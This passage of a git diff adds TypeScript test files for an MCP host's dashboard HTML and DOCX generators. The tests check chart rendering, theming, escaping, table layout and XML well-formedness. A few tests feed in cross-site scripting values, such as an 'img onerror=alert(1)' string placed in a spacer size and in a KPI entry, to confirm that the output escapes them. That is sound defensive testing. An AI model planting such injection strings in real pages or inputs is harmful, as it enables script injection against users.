'b'],+ datasets: [+ { label: 's1', data: [1, 2] },+ { label: 's2', data: [2, 1] },+ ],+ },+ ],+ },+}++describe('page script', () => {+ it('draws the other charts and the sparklines when one chart throws', async () => {+ const html = await page(TWO_CHARTS_AND_A_SPARKLINE)+ const run = runPageScript(html, { failOn: 'chart-0', vars: LIGHT })+ expect(run.notes).toEqual([+ 'This chart could not be drawn: "x" is not a registered controller.',+ ])+ expect([...run.charts.keys()]).toEqual(['chart-1', 'sparkline-0'])+ })++ it('reads series colors from the page and repaints them when the scheme changes', async () => {+ const html = await page(TWO_CHARTS_AND_A_SPARKLINE)+ const run = runPageScript(html, { vars: LIGHT })+ const line = run.charts.get('chart-1')!+ expect(line.config.data.datasets.map(d => d.borderColor)).toEqual(['#0f172a', '#16a34a'])+ expect(line.config.data.datasets[0].backgroundColor).toBe('rgba(15,23,42,0.2)')++ run.setVars(DARK)+ run.emitMediaChange()+ expect(line.config.data.datasets.map(d => d.borderColor)).toEqual(['#e2e8f0', '#4ade80'])+ expect(line.updates).toBeGreaterThan(0)+ })++ it('draws without animation so a print or PDF capture shows finished charts', async () => {+ const html = await page(TWO_CHARTS_AND_A_SPARKLINE)+ const run = runPageScript(html, { vars: LIGHT })+ for (const chart of run.charts.values()) expect(chart.config.options.animation).toBe(false)+ })++ it('lists a mixed chart legend in series order although the lines draw on top', async () => {+ const html = await page({+ data: {+ title: 'T',+ charts: [+ {+ type: 'mixedBarLine',+ labels: ['a', 'b'],+ datasets: [+ { label: 'Bars', data: [1, 2] },+ { label: 'Line', data: [2, 1] },+ ],+ },+ ],+ },+ })+ const run = runPageScript(html, { vars: LIGHT })+ const sort = run.charts.get('chart-0')!.config.options.plugins.legend.labels.sort+ expect(sort).toBeTypeOf('function')+ const items = [+ { text: 'Line', datasetIndex: 1 },+ { text: 'Bars', datasetIndex: 0 },+ ]+ expect(items.sort(sort).map(i => i.text)).toEqual(['Bars', 'Line'])+ })++ it('colors the radial scale of radar and polar charts from the theme', async () => {+ const html = await page({+ data: {+ title: 'T',+ charts: [+ { type: 'radar', labels: ['a', 'b', 'c'], datasets: [{ label: 'p', data: [1, 2, 3] }] },+ ],+ },+ })+ const run = runPageScript(html, { vars: DARK })+ const r = run.charts.get('chart-0')!.config.options.scales!.r!+ expect(r.ticks).toEqual({ color: '#cbd5e1', backdropColor: '#1e293b' })+ expect(r.grid.color).toBe('#334155')+ expect(r.pointLabels.color).toBe('#cbd5e1')+ })++ it('starts stacked value axes at zero and draws scatter points whole at the edge', async () => {+ const html = await page({+ data: {+ title: 'T',+ charts: [+ {+ type: 'stackedArea',+ labels: ['a', 'b'],+ datasets: [{ data: [4, 5] }, { data: [6, 7] }],+ },+ {+ type: 'scatter',+ datasets: [+ {+ data: [+ { x: 1, y: 2 },+ { x: 3, y: 4 },+ ],+ },+ ],+ },+ { type: 'line', labels: ['a', 'b'], datasets: [{ data: [4, 5] }] },+ ],+ },+ })+ const run = runPageScript(html, { vars: LIGHT })+ const scales = (id: string) => run.charts.get(id)!.config.options.scales!+ expect(scales('chart-0').y!.beginAtZero).toBe(true)+ expect(scales('chart-1').x!).not.toHaveProperty('grace')+ expect(scales('chart-1').y!).not.toHaveProperty('grace')+ expect(run.charts.get('chart-1')!.config.data.datasets[0].clip).toBe(false)+ expect(scales('chart-2').y!).not.toHaveProperty('beginAtZero')+ })+})++describe('dashboard notes and figures', () => {+ const dashboard = () => INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_dashboard')!++ it('puts a note about lost content before repeated repair notes', async () => {+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-dash-notes-'))+ try {+ const charts = Array.from({ length: 12 }, () => ({+ type: 'bar',+ labels: ['a'],+ datasets: [{ data: ['2'] }],+ }))+ charts.push({+ type: 'funnel',+ labels: ['a'],+ datasets: [{ data: [1] }, { data: [2] }] as never,+ })+ const result = await dashboard().execute(+ { filename: 'n.html', inlineChartJs: false, data: { title: 'T', charts } },+ dir+ )+ expect(result.success, result.error).toBe(true)+ const notes = result.content ?? ''+ expect(notes).toContain('extra dataset(s) were dropped')+ expect(notes.indexOf('dropped')).toBeLessThan(notes.indexOf('written as text'))+ expect(notes).toContain('(9 more like it.)')+ } finally {+ fs.rmSync(dir, { recursive: true, force: true })+ }+ })++ it('prints table numbers as written, structured cells as text, and a year unGrouped', async () => {+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-dash-cells-'))+ try {+ const result = await dashboard().execute(+ {+ filename: 'c.html',+ data: {+ title: 'T',+ status: 'Red',+ kpis: [{ label: 'Year', value: 2026 }],+ tables: [{ headers: ['A', 'B'], rows: [[0.1 + 0.2, { name: 'Ana' }]] }],+ },+ },+ dir+ )+ expect(result.success, result.error).toBe(true)+ const html = fs.readFileSync(result.artifact!.path, 'utf8')+ expect(html).toContain('<td>0.3</td>')+ expect(html).toContain('{"name":"Ana"}')+ expect(html).toContain('data-status="red"')+ expect(html).toMatch(/kpi-card__value">2026</)+ expect(result.content).toContain('held an object or a list')+ } finally {+ fs.rmSync(dir, { recursive: true, force: true })+ }+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.dashboard.render.test.ts b/mcp-host/src/workflow/__tests__/internalTools.dashboard.render.test.tsnew file mode 100644index 000000000..593a8de93--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.dashboard.render.test.ts@@ -0,0 +1,434 @@+/**+ * What the dashboard writes and what it tells the agent: bad parts are isolated+ * and named, attributes cannot carry markup, and Chart.js is inlined only when used.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS, loadChartJsBundle } from '../internalTools'+import type { InternalToolResult } from '../types'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-dash-render-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++function run(args: Record<string, unknown>): Promise<InternalToolResult> {+ const tool = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_dashboard')!+ return tool.execute({ filename: 'd.html', ...args }, outputDir)+}++async function render(args: Record<string, unknown>): Promise<{ html: string; notes: string }> {+ const r = await run(args)+ expect(r.error).toBeUndefined()+ expect(r.success).toBe(true)+ return { html: fs.readFileSync(r.artifact!.path, 'utf8'), notes: r.content ?? '' }+}++const blocks = (list: unknown[]) => ({ template: 'custom', data: { title: 'T', blocks: list } })++/** The chart specs the page script receives. */+function chartSpecs(html: string): Array<Record<string, unknown>> {+ const m = /var charts = (\[.*?\]);\n/s.exec(html)+ return m ? JSON.parse(m[1]) : []+}++describe('markup injection', () => {+ it('never interpolates a spacer size it does not know', async () => {+ const { html } = await render(+ blocks([+ { type: 'narrative', content: 'ok' },+ { type: 'spacer', size: 'md"><img src=x onerror="alert(1)">' },+ ])+ )+ expect(html).not.toContain('<img')+ expect(html).toContain('<div class="dashboard-spacer dashboard-spacer--md"></div>')+ })++ it('keeps status, severity and accent attributes to their known values', async () => {+ const { html } = await render({+ template: 'operations-pulse',+ data: {+ title: 'T',+ status: '"><b>x</b>',+ services: [{ name: 'API', status: '"><i>y</i>' }],+ incidents: [{ time: '1', title: 't', severity: '"><u>z</u>' }],+ kpis: [+ { label: 'k', value: 1, accent: '"><s>w</s>', deltaDirection: '"><q>', delta: '+1' },+ ],+ },+ })+ expect(html).not.toMatch(/<(b|i|u|s|q)>/)+ })+ it('escapes the notice that replaces a bad card', async () => {+ const { html } = await render({+ data: { title: 'T', kpis: [{ label: 'ok', value: 1 }, '<img src=x onerror=alert(1)>'] },+ })+ expect(html).not.toContain('<img')+ expect(html).toContain('<img src=x')+ })+})++describe('one bad part never takes the page down', () => {+ it('reports a chart block without a spec in place', async () => {+ const r = await run(blocks([{ type: 'narrative', content: 'Still here' }, { type: 'chart' }]))+ expect(r.success).toBe(true)+ const html = fs.readFileSync(r.artifact!.path, 'utf8')+ expect(html).toContain('Still here')+ expect(html).toContain('data.blocks[1] could not be shown')+ expect(r.content).toContain(+ "data.blocks[1] is a 'chart' block and needs spec: {type, labels, datasets}"+ )+ })++ it('reports a missing chart inside a grid in its own card', async () => {+ const { html, notes } = await render(+ blocks([+ {+ type: 'charts-grid',+ items: [null, { type: 'bar', title: 'Fine', labels: ['a'], datasets: [{ data: [1] }] }],+ },+ ])+ )+ expect(html).toContain('This chart could not be drawn')+ expect(chartSpecs(html)).toHaveLength(1)+ expect(notes).toContain('data.blocks[0].items[0] must be a chart object')+ })++ it('draws a service with no status in a neutral card instead of failing the dashboard', async () => {+ const { html } = await render({+ template: 'operations-pulse',+ data: { title: 'T', services: [{ name: 'API' }, { name: 'DB', status: 'healthy' }] },+ })+ expect(html).toContain('<div class="health-card" data-status="unknown">')+ expect(html).toContain('UNKNOWN')+ expect(html).toContain('data-status="healthy"')+ })++ it('keeps the other KPI cards when one cannot be shown', async () => {+ const { html, notes } = await render({+ data: {+ title: 'T',+ kpis: [+ { label: 'good', value: '1' },+ { label: 'bad', value: '' },+ ],+ },+ })+ expect(html).toContain('<p class="kpi-card__value">1</p>')+ expect(html).toContain('data.kpis[1].value is missing')+ expect(notes).toContain('data.kpis[1].value is missing')+ })++ it('keeps the other incidents and services when one cannot be shown', async () => {+ const { html, notes } = await render({+ template: 'operations-pulse',+ data: {+ title: 'T',+ services: [{ name: 'API', status: 'healthy' }, { status: 'down' }],+ incidents: [{ time: '10:00', title: 'Kept incident' }, '11:00 DB down'],+ },+ })+ expect(html).toContain('<h3 class="health-card__name">API</h3>')+ expect(html).toContain('Kept incident')+ expect(notes).toContain('data.services[1].name is missing')+ expect(notes).toContain('data.incidents[1] must be an incident object {time, title}')+ })++ it('isolates a bad entry in a fixed template', async () => {+ const { html, notes } = await render({+ data: {+ title: 'T',+ tables: [{ rows: [['x']] }, { headers: ['A'], rows: [['kept']] }],+ sections: [{ type: 'narrative', content: { text: 'x' } }],+ },+ })+ expect(html).toContain('kept')+ expect(notes).toContain('data.tables[0].headers must be a non-empty array')+ expect(notes).toContain('data.sections[0].content must be text')+ })+})++describe('custom blocks read the shape their type needs', () => {+ it('refuses KPI items sent as strings instead of rendering empty cards', async () => {+ const r = await run(+ blocks([+ { type: 'kpis', items: ['Revenue: $1.2M'] },+ { type: 'narrative', content: 'ok' },+ ])+ )+ const html = fs.readFileSync(r.artifact!.path, 'utf8')+ expect(html).not.toContain('<p class="kpi-card__label"></p>')+ expect(r.content).toContain(+ 'data.blocks[0].items[0] must be a KPI object {label, value}; received a string ("Revenue: $1.2M")'+ )+ })++ it('refuses incidents sent as strings', async () => {+ const r = await run(+ blocks([+ { type: 'incidents', items: ['10:00 DB down'] },+ { type: 'divider' },+ { type: 'bullets', items: ['x'] },+ ])+ )+ expect(r.content).toContain('data.blocks[0].items[0] must be an incident object {time, title}')+ })++ it('fails without writing a file when no block could be shown', async () => {+ const r = await run(blocks([{ type: 'kpis', items: ['Revenue: $1.2M'] }]))+ expect(r.success).toBe(false)+ expect(r.error).toContain('Nothing on the dashboard could be shown')+ expect(r.error).toContain('data.blocks[0].items[0] must be a KPI object')+ expect(fs.readdirSync(outputDir)).toEqual([])+ })++ it('keeps the block titles of tables, callouts and KPI grids', async () => {+ const { html } = await render(+ blocks([+ { type: 'table', title: 'TABLE_TITLE', spec: { headers: ['a'], rows: [['1']] } },+ { type: 'callout', title: 'CALLOUT_TITLE', content: 'c' },+ { type: 'kpis', title: 'KPIS_TITLE', items: [{ label: 'k', value: 1 }] },+ ])+ )+ expect(html).toContain('TABLE_TITLE')+ expect(html).toContain('CALLOUT_TITLE')+ expect(html).toContain('KPIS_TITLE')+ })++ it('gives every sparkline its own id', async () => {+ const kpis = { type: 'kpis', items: [{ label: 'k', value: 1, sparkline: [1, 2, 3] }] }+ const { html } = await render(blocks([kpis, kpis]))+ const ids = [...html.matchAll(/id="(sparkline-\d+)"/g)].map(m => m[1])+ expect(ids).toEqual(['sparkline-0', 'sparkline-1'])+ })+})++describe('charts are checked before the page is written', () => {+ it('maps the extended types onto what Chart.js draws', async () => {+ const chart = (type: string) => ({+ type,+ labels: ['a', 'b', 'c'],+ datasets: [+ { label: 'x', data: [5, -2, 3] },+ { label: 'y', data: [1, 2, 3] },+ ],+ })+ const { html } = await render({+ data: {+ title: 'T',+ charts: ['stackedBar', 'stackedArea', 'mixedBarLine', 'funnel', 'gauge', 'waterfall'].map(+ chart+ ),+ },+ })+ const [stackedBar, stackedArea, mixed, funnel, gauge, waterfall] = chartSpecs(html)+ expect(stackedBar).toMatchObject({ type: 'bar', stacked: true })+ expect(stackedArea).toMatchObject({ type: 'line', stacked: true })+ expect((stackedArea.datasets as Array<{ fill: unknown }>).map(d => d.fill)).toEqual([+ 'origin',+ '-1',+ ])+ expect((mixed.datasets as Array<{ type?: string }>).map(d => d.type)).toEqual([+ undefined,+ 'line',+ ])+ expect(funnel).toMatchObject({ type: 'bar', indexAxis: 'y', labels: ['a', 'c', 'b'] })+ expect(gauge).toMatchObject({ type: 'doughnut', gauge: { value: '5', max: '100' } })+ expect(waterfall).toMatchObject({ type: 'bar', labels: ['a', 'b', 'c', 'Total'] })+ expect((waterfall.datasets as Array<{ data: unknown }>)[0].data).toEqual([+ [0, 5],+ [5, 3],+ [3, 6],+ [0, 6],+ ])+ })++ it('turns an unknown or missing type into a note in its card', async () => {+ const { html, notes } = await render({+ data: {+ title: 'T',+ charts: [+ { type: 'sunburst', labels: ['a'], datasets: [{ data: [1] }] },+ { labels: ['a'], datasets: [{ data: [1] }] },+ { type: 'bar', labels: ['a'], datasets: [{ data: [1] }] },+ ],+ },+ })+ expect(chartSpecs(html).map(s => s.type)).toEqual(['bar'])+ expect(notes).toContain(+ 'data.charts[0].type "sunburst" is not a chart type; use one of: line, bar'+ )+ expect(notes).toContain('data.charts[1].type is missing')+ expect(html.match(/chart-card__note">This chart could not be drawn/g)).toHaveLength(2)+ })++ it('returns the normalizer notes to the agent, naming the dashboard field', async () => {+ const { notes } = await render({+ data: {+ title: 'T',+ charts: [{ type: 'bar', labels: ['a', 'b', 'c', 'd'], datasets: [{ data: ['1', 2] }] }],+ },+ })+ expect(notes).toContain('`data.charts[0].labels` had 4 entries for 2 value(s)')+ expect(notes).toContain('data.charts[0].datasets[0]: read 1 value(s) written as text')+ })++ it('names the hero chart field as the caller wrote it', async () => {+ const { notes } = await render({+ template: 'financial-review',+ data: {+ title: 'T',+ kpis: [{ label: 'k', value: 1 }],+ heroChart: { type: 'bar', labels: ['a', 'b', 'c'], datasets: [{ data: [1, 2] }] },+ },+ })+ expect(notes).toContain('`data.heroChart.labels` had 3 entries for 2 value(s)')+ expect(notes).not.toContain('heroChart[0]')++ const broken = await render({+ template: 'financial-review',+ data: {+ title: 'T',+ kpis: [{ label: 'k', value: 1 }],+ heroChart: { type: 'nope', datasets: [{ data: [1] }] },+ },+ })+ expect(broken.notes).toContain('data.heroChart.type "nope" is not a chart type')+ })++ it('says when a gauge leaves values out', async () => {+ const { notes } = await render({+ data: {+ title: 'T',+ charts: [{ type: 'gauge', labels: ['cpu', 'mem'], datasets: [{ data: [40, 80] }] }],+ },+ })+ expect(notes).toContain(+ 'data.charts[0]: the gauge shows one value, so 1 more in datasets[0].data was left out.'+ )+ })++ it('shows the legend only when a series is named', async () => {+ const { html } = await render({+ data: {+ title: 'T',+ charts: [+ { type: 'bar', labels: ['a'], datasets: [{ data: [1] }] },+ { type: 'bar', labels: ['a'], datasets: [{ label: 'Named', data: [1] }] },+ { type: 'pie', labels: ['a'], datasets: [{ data: [1] }] },+ ],+ },+ })+ expect(chartSpecs(html).map(s => s.legend)).toEqual([false, true, true])+ })+})++describe('Chart.js is inlined only when it is used', () => {+ it('leaves the bundle out of a page with no charts or sparklines', async () => {+ const { html } = await render({+ data: { title: 'T', sections: [{ type: 'bullets', content: ['x'] }] },+ })+ expect(html).not.toContain('Chart.js v')+ expect(html).not.toContain('<script')+ expect(html.length).toBeLessThan(60_000)+ })++ it('shows chart values as a table when the bundle is not inlined, and says so', async () => {+ const { html, notes } = await render({+ inlineChartJs: false,+ data: {+ title: 'T',+ kpis: [{ label: 'k', value: 1, sparkline: [1, 2] }],+ charts: [+ { type: 'bar', labels: ['Jan', 'Feb'], datasets: [{ label: 'Sales', data: [4, 7] }] },+ ],+ },+ })+ expect(html).not.toContain('<canvas')+ expect(html).toMatch(/<th>Sales<\/th>.*<td>Jan<\/td><td>4<\/td>.*<td>Feb<\/td><td>7<\/td>/s)+ expect(notes).toContain('inlineChartJs is false, so charts are shown as tables of their values')+ })++ it('finds the bundle through the package entry point', () => {+ expect(loadChartJsBundle()).toMatch(/Chart\.js v4/)+ })+})++describe('what the agent is told', () => {+ it('says which fields the chosen template does not show', async () => {+ const { notes } = await render({+ data: {+ title: 'T',+ kpis: [{ label: 'k', value: 1 }],+ services: [{ name: 'API', status: 'down' }],+ },+ })+ expect(notes).toContain("data.services is only shown by template 'operations-pulse'")+ })++ it('names the heading it needs when data has no title', async () => {+ const r = await run({ data: { kpis: [] } })+ expect(r.success).toBe(false)+ expect(r.error).toContain('data.title is required')+ })+})++describe('KPI deltas', () => {+ it('lets a falling figure be good news', async () => {+ const { html } = await render({+ data: {+ title: 'T',+ kpis: [+ {+ label: 'Churn',+ value: '2.1%',+ delta: '-0.3pp',+ deltaDirection: 'down',+ deltaSentiment: 'good',+ },+ ],+ },+ })+ expect(html).toContain('data-direction="down" data-sentiment="good"')+ })++ it('keeps the old reading when no sentiment is given', async () => {+ const { html } = await render({+ data: { title: 'T', kpis: [{ label: 'x', value: 1, delta: '+1', deltaDirection: 'up' }] },+ })+ expect(html).toContain('data-direction="up" data-sentiment="good"')+ })+})++describe('value tables without Chart.js', () => {+ it('lists scatter points one per row', async () => {+ const { html } = await render({+ inlineChartJs: false,+ data: {+ title: 'T',+ charts: [+ {+ type: 'scatter',+ datasets: [+ {+ label: 'pts',+ data: [+ { x: 1, y: 2 },+ { x: 3, y: 5 },+ ],+ },+ ],+ },+ ],+ },+ })+ expect(html).toMatch(/<td>1<\/td><td>\(1, 2\)<\/td>.*<td>2<\/td><td>\(3, 5\)<\/td>/s)+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.docx.test.ts b/mcp-host/src/workflow/__tests__/internalTools.docx.test.tsnew file mode 100644index 000000000..9d2019290--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.docx.test.ts@@ -0,0 +1,644 @@+/**+ * The DOCX generator against the documents models actually send: pasted+ * terminal output, years as table headers, loose and nested lists, HTML line+ * breaks in cells, images named in the body, and rows sent as records. Each+ * case reads the written package, not just the success flag.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import { createCanvas } from '@napi-rs/canvas'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { inlineRuns } from '../docxInline'+import { bodyToDocxChildren } from '../docxMarkdown'+import { DOCX_PALETTES, DocxListNumbering } from '../docxStyle'+import { INTERNAL_TOOLS } from '../internalTools'+import { StepMcpRouter } from '../stepRouter'+import type { InternalToolDefinition, InternalToolResult } from '../types'+import { XML_FORBIDDEN_CHARS, zipEntries, zipEntryText } from './support/zipEntries'++function docxTool(): InternalToolDefinition {+ return INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_docx')!+}++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-docx-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++async function generate(args: Record<string, unknown>): Promise<InternalToolResult> {+ return docxTool().execute({ filename: 'd.docx', ...args }, outputDir)+}++async function documentXml(args: Record<string, unknown>): Promise<string> {+ const r = await generate(args)+ expect(r.success, r.error).toBe(true)+ return zipEntryText(r.artifact!.path, 'word/document.xml')+}++function writePng(name: string, width: number, height: number): void {+ const canvas = createCanvas(width, height)+ canvas.getContext('2d').fillRect(0, 0, width, height)+ fs.writeFileSync(path.join(outputDir, name), canvas.toBuffer('image/png'))+}++/** Every drawing's extent, in pixels at 96 dpi. */+function extents(xml: string): Array<{ width: number; height: number }> {+ return [...xml.matchAll(/<wp:extent cx="(\d+)" cy="(\d+)"\/>/g)].map(m => ({+ width: Math.round(Number(m[1]) / 9525),+ height: Math.round(Number(m[2]) / 9525),+ }))+}++/** The text of every w:t in the part, in order. */+function texts(xml: string): string[] {+ return [...xml.matchAll(/<w:t(?: [^>]*)?>([^<]*)<\/w:t>/g)].map(m => m[1])+}++function paragraphs(xml: string): string[] {+ return xml.match(/<w:p>[\s\S]*?<\/w:p>|<w:p [\s\S]*?<\/w:p>/g) ?? []+}++const XML_REFERENCE = /^&(?:lt|gt|amp|quot|apos|#(\d+)|#x([0-9a-f]+));/i+const START_TAG =+ /^<([A-Za-z_][\w.:-]*)((?:\s+[A-Za-z_][\w.:-]*\s*=\s*(?:"[^"<]*"|'[^'<]*'))*)\s*(\/?)>/+const ATTRIBUTE = /([A-Za-z_][\w.:-]*)\s*=\s*(?:"([^"]*)"|'([^']*)')/g++function legalCodePoint(cp: number): boolean {+ return (+ cp === 0x9 ||+ cp === 0xa ||+ cp === 0xd ||+ (cp >= 0x20 && cp <= 0xd7ff) ||+ (cp >= 0xe000 && cp <= 0xfffd) ||+ (cp >= 0x10000 && cp <= 0x10ffff)+ )+}++function badReference(text: string): string | undefined {+ for (let at = text.indexOf('&'); at >= 0; at = text.indexOf('&', at + 1)) {+ const ref = XML_REFERENCE.exec(text.slice(at))+ const cp = ref?.[1] ? Number(ref[1]) : ref?.[2] ? parseInt(ref[2], 16) : undefined+ if (!ref || (cp !== undefined && !legalCodePoint(cp))) return `bad reference at ${at}`+ }+ return undefined+}++/**+ * Why `xml` is not a well-formed XML document, or undefined when it is: legal+ * characters and references, quoted unique attributes, and one balanced root.+ */+function wellFormed(xml: string): string | undefined {+ if (XML_FORBIDDEN_CHARS.test(xml)) return 'forbidden character'+ if (/[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?<![\uD800-\uDBFF])[\uDC00-\uDFFF]/.test(xml)) {+ return 'lone surrogate'+ }+ const open: string[] = []+ let roots = 0+ let at = 0+ while (at < xml.length) {+ const lt = xml.indexOf('<', at)+ const text = xml.slice(at, lt < 0 ? xml.length : lt)+ if (open.length === 0 && text.trim() !== '') return `text outside the root at ${at}`+ const bad = badReference(text)+ if (bad) return bad+ if (lt < 0) break+ const rest = xml.slice(lt)+ const skip = ['<?', '?>', '<!--', '-->', '<![CDATA[', ']]>']+ const special = [0, 2, 4].find(k => rest.startsWith(skip[k]))+ if (special !== undefined) {+ const end = rest.indexOf(skip[special + 1])+ if (end < 0) return `unterminated ${skip[special]} at ${lt}`+ at = lt + end + skip[special + 1].length+ continue+ }+ const close = /^<\/([^\s>]+)\s*>/.exec(rest)+ if (close) {+ if (open.pop() !== close[1]) return `mismatched </${close[1]}> at ${lt}`+ at = lt + close[0].length+ continue+ }+ const tag = START_TAG.exec(rest)+ if (!tag) return `malformed tag at ${lt}`+ const names = new Set<string>()+ for (const attr of tag[2].matchAll(ATTRIBUTE)) {+ if (names.has(attr[1])) return `duplicate attribute ${attr[1]} at ${lt}`+ names.add(attr[1])+ const valueProblem = badReference(attr[2] ?? attr[3])+ if (valueProblem) return valueProblem+ }+ if (open.length === 0 && ++roots > 1) return `second root at ${lt}`+ if (!tag[3]) open.push(tag[1])+ at = lt + tag[0].length+ }+ if (open.length > 0) return `unclosed <${open[open.length - 1]}>`+ return roots === 1 ? undefined : 'no root element'+}++describe('generate_docx text that XML cannot carry', () => {+ it('has a well-formedness check that catches what Word rejects', () => {+ expect(wellFormed('<a x="1"><b/>t & €</a>')).toBeUndefined()+ for (const broken of [+ '<a>\u0001</a>',+ '<a></a>',+ '<a>a & b</a>',+ '<a><b></a></b>',+ '<a x="1" x="2"/>',+ '<a/><b/>',+ '<a>',+ ]) {+ expect(wellFormed(broken), broken).toBeDefined()+ }+ })++ it('writes well-formed parts from ANSI escapes and control characters', async () => {+ const dirty = 'Build \u001b[32mOK\u001b[0m\f page\u000b two\u0007\u0000'+ const r = await generate({+ title: dirty,+ headline: dirty,+ body: `# ${dirty}\n\n\`\`\`\n${dirty}\n\`\`\`\n\n| A | B |\n|---|---|\n| ${dirty} | x |`,+ tables: [{ headers: [dirty], rows: [[dirty]] }],+ branding: { companyName: dirty, footerText: dirty },+ })+ expect(r.success, r.error).toBe(true)+ for (const [name, data] of zipEntries(r.artifact!.path)) {+ if (name.endsWith('.xml') || name.endsWith('.rels')) {+ expect(wellFormed(data.toString('utf8')), name).toBeUndefined()+ }+ }+ expect(texts(zipEntryText(r.artifact!.path, 'word/document.xml'))).toContain(+ 'Build OK page two'+ )+ })++ it('reads a body with Windows line endings as markdown', async () => {+ const xml = await documentXml({+ body: '# Title\r\n\r\n### Sub\r\n\r\n```bash\r\necho hi\r\n```\r\nText',+ })+ expect(xml).not.toContain('```')+ expect(xml).not.toContain('### Sub')+ expect(xml).toContain('<w:pStyle w:val="Heading3"/>')+ expect(xml).not.toContain('\r')+ })+})++describe('generate_docx tables', () => {+ it('prints numeric headers instead of leaving the header row blank', async () => {+ const xml = await documentXml({+ body: 'x',+ tables: [{ headers: ['Region', 2024, 2025], rows: [['North', 1, 2]] }],+ })+ expect(texts(xml)).toEqual(expect.arrayContaining(['Region', '2024', '2025']))+ })++ it('reads rows sent as records by header name and says so', async () => {+ const r = await generate({+ body: 'x',+ tables: [{ headers: ['Name', 'Qty'], rows: [{ Name: 'Widget', Qty: 5 }] }],+ })+ expect(r.success, r.error).toBe(true)+ const xml = zipEntryText(r.artifact!.path, 'word/document.xml')+ expect(texts(xml)).toEqual(expect.arrayContaining(['Widget', '5']))+ expect(r.content).toMatch(/tables\[0\].*array of cells in header order/)+ })++ it('gives every column a real width', async () => {+ const xml = await documentXml({+ body: 'x',+ tables: [{ headers: ['Name', 'Description'], rows: [['a', 'a much longer description']] }],+ })+ const grid = [...xml.matchAll(/<w:gridCol w:w="(\d+)"\/>/g)].map(m => Number(m[1]))+ expect(grid).toHaveLength(2)+ expect(Math.min(...grid)).toBeGreaterThan(700)+ expect(grid[1]).toBeGreaterThan(grid[0])+ expect(grid.reduce((a, b) => a + b, 0)).toBeLessThanOrEqual(9026)+ expect(xml).toMatch(/<w:tcW w:type="dxa" w:w="\d+"\/>/)+ })++ it('fixes the layout of a wide table so Word cannot push it off the page', async () => {+ const headers = Array.from({ length: 12 }, (_, i) => `Col ${i + 1}`)+ const xml = await documentXml({ body: 'x', tables: [{ headers, rows: [headers] }] })+ expect(xml).toContain('<w:tblLayout w:type="fixed"/>')+ const grid = [...xml.matchAll(/<w:gridCol w:w="(\d+)"\/>/g)].map(m => Number(m[1]))+ expect(grid).toHaveLength(12)+ expect(grid.reduce((a, b) => a + b, 0)).toBeLessThanOrEqual(9026)+ expect(Math.min(...grid)).toBeGreaterThan(600)+ })++ it('recognises a GFM table written without the outer pipes', async () => {+ const xml = await documentXml({ body: 'Name | Qty\n--- | ---\nWidget | 5\n\nAfter' })+ expect(xml).toContain('<w:tbl>')+ expect(texts(xml)).toEqual(expect.arrayContaining(['Name', 'Qty', 'Widget', '5', 'After']))+ expect(xml).not.toContain('--- | ---')+ })++ it('keeps an escaped pipe inside its cell', async () => {+ const xml = await documentXml({ body: '| Expr | Note |\n|---|---|\n| a \\| b | x |' })+ expect(texts(xml)).toContain('a | b')+ })++ it('ends a table at a heading or list item that contains a pipe', async () => {+ const xml = await documentXml({+ body: '| A | B |\n|---|---|\n| 1 | 2 |\n# Heading | with pipe\n- a | list item',+ })+ expect(xml.match(/<w:tr>/g)).toHaveLength(2)+ expect(xml).toContain('<w:pStyle w:val="Heading1"/>')+ expect(xml).toContain('<w:numPr>')+ })++ it('reads a one-column table', async () => {+ const xml = await documentXml({ body: '| Name |\n|---|\n| Widget |' })+ expect(xml).toContain('<w:tbl>')+ expect(xml).not.toContain('|')+ })+})++describe('generate_docx code blocks', () => {+ it('prints the code without its fences and notes its language above it, as the PDF does', async () => {+ const xml = await documentXml({+ body: 'Run:\n\n```bash\nkubectl get pods\n```\n\n```\nplain\n```',+ })+ const printed = texts(xml)+ expect(printed).toContain('bash')+ expect(printed).toContain('kubectl get pods')+ expect(printed.join(' ')).not.toContain('```')+ expect(printed.indexOf('bash')).toBeLessThan(printed.indexOf('kubectl get pods'))+ expect(printed.filter(t => t === 'bash')).toHaveLength(1)+ })+})++describe('generate_docx headings', () => {+ it('reads inline markdown in every heading level', async () => {+ const xml = await documentXml({+ body: '# **Bold** H1 with [link](https://example.com)\n## *Ital* H2 `code`\n### **Bold** H3',+ })+ expect(xml).not.toMatch(/\*\*|`|\[link\]/)+ expect(xml).toContain('<w:hyperlink')+ })++ it('keeps each heading with the paragraph that follows it', async () => {+ const xml = await documentXml({ body: '# One\n## Two\n### Three\nText' })+ const headings = paragraphs(xml).filter(p => /w:val="Heading[123]"/.test(p))+ expect(headings).toHaveLength(3)+ for (const p of headings) expect(p).toContain('<w:keepNext/>')+ })+})++describe('generate_docx lists', () => {+ function levels(xml: string): number[] {+ return [...xml.matchAll(/<w:ilvl w:val="(\d+)"\/>/g)].map(m => Number(m[1]))+ }+ function numIds(xml: string): number[] {+ return [...xml.matchAll(/<w:numId w:val="(\d+)"\/>/g)].map(m => Number(m[1]))+ }++ it('nests one level per indent step, whatever the indent width', async () => {+ const four = await documentXml({ body: '- L1\n - L2\n - L3\n - L4' })+ expect(levels(four)).toEqual([0, 1, 2, 3])+ const two = await documentXml({ body: '- L1\n - L2\n - L3\n - L4\n - L5' })+ expect(levels(two)).toEqual([0, 1, 2, 3, 4])+ })++ it('defines nine levels for both list kinds', async () => {+ const r = await generate({ body: '- a\n\n1. b' })+ const numbering = 